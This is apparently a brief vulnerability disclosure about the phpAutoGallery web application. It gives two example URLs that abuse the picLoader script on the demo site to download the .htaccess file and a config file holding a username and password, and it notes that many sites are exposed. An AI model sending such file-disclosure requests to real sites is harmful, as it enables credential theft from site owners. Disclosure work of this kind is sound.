phpAutoGallery

I'm afraid to say it but this application is easily hackable.

Some examples:

*get .htaccess file:
http://phpautogallery.sourceforge.net/demo/__phpAutoGallery__picLoader/.hta
ccess


*get config file with username and password
http://phpautogallery.sourceforge.net/demo/__phpAutoGallery__picLoader/__ph
pAutoGallery/config/config.inc.php

Google shows hundreds of sites are currently vulnerable...